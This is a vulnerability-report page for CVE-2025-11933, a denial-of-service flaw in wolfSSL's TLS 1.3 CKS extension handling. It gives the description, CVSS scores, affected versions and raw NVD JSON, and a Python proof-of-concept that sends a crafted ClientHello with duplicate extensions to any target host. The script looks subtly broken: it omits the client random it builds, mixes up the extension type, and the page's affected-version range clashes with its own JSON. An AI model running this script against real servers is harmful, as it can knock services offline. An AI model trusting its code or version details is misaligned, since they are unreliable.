Security Vulnerability Report
中文
CVE-2025-11933 CVSS 6.5 MEDIUM

CVE-2025-11933

Published: 2025-11-21 23:15:44
Last Modified: 2025-12-03 18:47:08

Description

Improper Input Validation in the TLS 1.3 CKS extension parsing in wolfSSL 5.8.2 and earlier on multiple platforms allows a remote unauthenticated attacker to potentially cause a denial-of-service via a crafted ClientHello message with duplicate CKS extensions.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
wolfSSL < 5.8.3
wolfSSL 5.8.2
wolfSSL 5.8.1
wolfSSL 5.8.0
wolfSSL 5.7.x及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-11933 PoC - wolfSSL TLS 1.3 CKS Extension DoS This PoC demonstrates sending a crafted ClientHello with duplicate CKS extensions to trigger a denial of service in vulnerable wolfSSL versions. """ import socket import struct import random def build_tls_record(content_type, version, payload): """Build a TLS record""" record = bytes([content_type]) + version + struct.pack('>H', len(payload)) + payload return record def build_extension(ext_type, ext_data): """Build a TLS extension""" return struct.pack('>HH', ext_type, len(ext_data)) + ext_data def build_duplicate_cks_client_hello(): """ Build a ClientHello with duplicate CKS extensions to trigger CVE-2025-11933 CKS Extension Type is 40 (0x0028) in draft spec """ # TLS 1.3 uses 0x0303 for ClientHello version (legacy) client_version = b'\x03\x03' # Random 32-byte client random client_random = bytes([random.randint(0, 255) for _ in range(32)]) # Session ID session_id = bytes([random.randint(0, 255) for _ in range(16)]) # Cipher suites - TLS 1.3 cipher suites cipher_suites = b'\x13\x01\x13\x02' # TLS_AES_128_GCM_SHA256, TLS_AES_256_GCM_SHA384 # Compression methods compression = b'\x01\x00' # Build CKS extension (type 40, 0x0028) # Key Share extension with empty or minimal data ks_payload = b'\x00' * 4 # Minimal key share data cks_ext = build_extension(0x0028, ks_payload) # Duplicate the CKS extension to trigger the vulnerability extensions = cks_ext + cks_ext # Build extensions length extensions_data = struct.pack('>H', len(extensions)) + extensions # Build ClientHello body client_hello_body = (client_version + bytes([len(session_id)]) + session_id + struct.pack('>H', len(cipher_suites)) + cipher_suites + bytes([len(compression)]) + compression + extensions_data) # ClientHello message client_hello = bytes([0x01]) + struct.pack('>I', len(client_hello_body))[1:] + client_hello_body # Handshake message hash (simplified - just use raw for PoC) handshake_hash = bytes([0x00] * 32) return client_hello, handshake_hash def send_malicious_client_hello(target_host, target_port=443): """ Send a crafted ClientHello with duplicate CKS extensions to trigger CVE-2025-11933 in vulnerable wolfSSL servers """ print(f"[*] Building malicious ClientHello with duplicate CKS extensions...") client_hello, handshake_hash = build_duplicate_cks_client_hello() # Build TLS record (ContentType=22 for Handshake) tls_record = build_tls_record(0x16, b'\x03\x01', client_hello) print(f"[*] Connecting to {target_host}:{target_port}...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print(f"[*] Sending crafted ClientHello...") sock.send(tls_record) print(f"[*] Payload sent, waiting for response...") # Try to receive response try: response = sock.recv(4096) print(f"[!] Received response (server may not be vulnerable): {response[:100]}") except socket.timeout: print(f"[+] No response received (possible DoS triggered)") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 443") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 send_malicious_client_hello(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11933", "sourceIdentifier": "[email protected]", "published": "2025-11-21T23:15:44.293", "lastModified": "2025-12-03T18:47:07.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Input Validation in the TLS 1.3 CKS extension parsing in wolfSSL 5.8.2 and earlier on multiple platforms allows a remote unauthenticated attacker to potentially cause a denial-of-service via a crafted ClientHello message with duplicate CKS extensions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.8.2", "versionEndExcluding": "5.8.4", "matchCriteriaId": "EB81B784-14DD-4CD0-859A-62D42ADDD7D3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/wolfSSL/wolfssl/pull/9132", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}